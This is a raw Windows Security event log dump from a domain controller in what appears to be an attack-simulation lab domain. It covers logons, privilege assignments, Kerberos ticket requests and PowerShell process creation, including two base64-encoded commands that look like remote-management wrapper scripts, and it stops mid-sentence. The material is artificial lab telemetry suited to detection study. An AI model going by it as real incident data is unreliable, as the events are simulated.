Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1583EE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252296 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x158388 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252295 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x158388 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64625 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252294 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x158388 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252293 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x158327 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252292 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x158327 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64624 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252291 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x158327 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252290 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x158212 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252289 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x158212 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252288 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252287 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252286 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252285 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1318 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1160 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252284 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1160 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10d0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252283 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x156D36 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252282 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x156D36 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252281 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252280 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252279 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252278 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative 